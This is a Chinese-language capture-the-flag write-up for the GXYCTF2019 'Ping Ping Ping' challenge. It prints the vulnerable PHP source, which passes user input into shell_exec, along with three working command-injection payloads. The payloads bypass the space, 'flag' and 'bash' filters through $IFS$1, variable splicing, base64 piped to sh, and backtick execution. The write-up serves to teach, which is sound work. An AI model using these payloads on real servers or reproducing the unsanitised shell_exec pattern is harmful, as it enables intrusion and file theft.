Web-[GXYCTF2019]Ping Ping Ping

打开题目:

猜测可能是命令执行漏洞,直接在URL里尝试

flag应该就在flag.php文件里,查看flag.php文件

这应该是空格被过滤了
在网上查找绕过空格过滤的方法

使用$IFS$1代替空格,

发现flag字段也被过滤了
查看index.php

/?ip=
<pre>PING 127.0.0.1 (127.0.0.1): 56 data bytes
/?ip=
<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}
?>

方法1:

可以使用/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php绕过flag过滤

查看网页源代码,可以得到flag

方法2:

或者可以使用payload:echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
即先对cat flag.php进行base64 加密,过滤bash,那就用sh

同样可得flag

方法3:

还有另外一种方法:内联执行
使用 `` 代替 | ,将反引号内命令的输出作为输入执行,即:

/?ip=127.0.0.3;cat$IFS$1`ls`


也可以得到flag

posted @ 2021-11-05 15:42  Edan_m  阅读(57)  评论(0编辑  收藏  举报